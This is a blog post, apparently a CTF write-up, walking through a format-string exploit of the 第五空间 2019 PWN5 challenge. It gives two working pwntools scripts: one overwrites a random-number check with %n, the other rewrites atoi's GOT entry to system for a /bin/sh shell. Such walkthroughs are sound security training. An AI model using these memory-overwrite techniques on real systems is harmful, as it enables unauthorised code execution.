[第五空间2019 决赛]PWN5 1(格式化字符串1,2)

先checksec一下,发现开启了NX和canary保护
image
看一下ida反汇编,发现输入全都有限制,无法造成造成栈溢出。代码最后会与随机数判断,若相等会执行system。
image
我们看到有printf(buf),这可以造成格式字符串漏洞。
如果我们用格式字符串修改随机数的值,再将输入一样的值就可以执行我们想要的sys。

我们nc连一下,看到偏移量为10(注意(nil)也算一个)
image
点进随机数,地址为0x0804C040
image
%n是将之前输出的长度写进指定地址里面
%10$n是把前面输出的长度写入偏移10那里

点击查看代码
printf("%10$hhn%11$hhn%12$hhn%13$hhn",0x804c044, 0x804c045, 0x804c046, 0x804c047);
也就是
payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
read(fd, &dword_804C044, 4u) 表明随机数占四个字节,首地址为0x804C044,故随机数占0x804C044-0x804C047

image
passwd的每个字节是p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047) 的长度,为4*4=16个字节,即十六进制为0x10,所以passwd就是4个0x10拼接起来后的计算结果str(0x10101010)
from pwn import *
io=remote('node5.buuoj.cn',28269)
elf=ELF('./pwn')
payload=p32(0x0804C044)+b'%10$n'
#payload = p32(0x804c044)+p32(0x804c045)+p32(0x804c046)+p32(0x804c047)+b'%10$n%11$n%12$n%13$n'
io.sendlineafter('name:',payload)
io.sendlineafter('passwd:',b'4')
#io.sendlineafter('passwd:',str(0x10101010))
io.interactive()

法二
我们可以利用fmtstr_payload修改任意内容,
fmtstr_payload是pwntools里面的一个工具,可以实现修改任意内存,用来简化对格式化字符串漏洞的构造工作。

点击查看代码
fmtstr_payload(offset, {printf_got: system_addr})(偏移,{原地址:目的地址})

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移;
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:
systemAddress};本题是将0804a048处改为0x2223322
第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。
fmtstr_payload函数返回的就是payload

利用字符串漏洞将判断的atoi直接替换成system,然后手动输入"/bin/sh"字符串,即可达成system(“/bin/sh”)目的

点击查看代码
from pwn import *
#io = process("./pwn")
io = remote("node4.buuoj.cn",25068)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
io.sendline(payload)
io.sendline(b'/bin/sh\x00')
io.interactive()

posted @   fdddddd  阅读(26)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示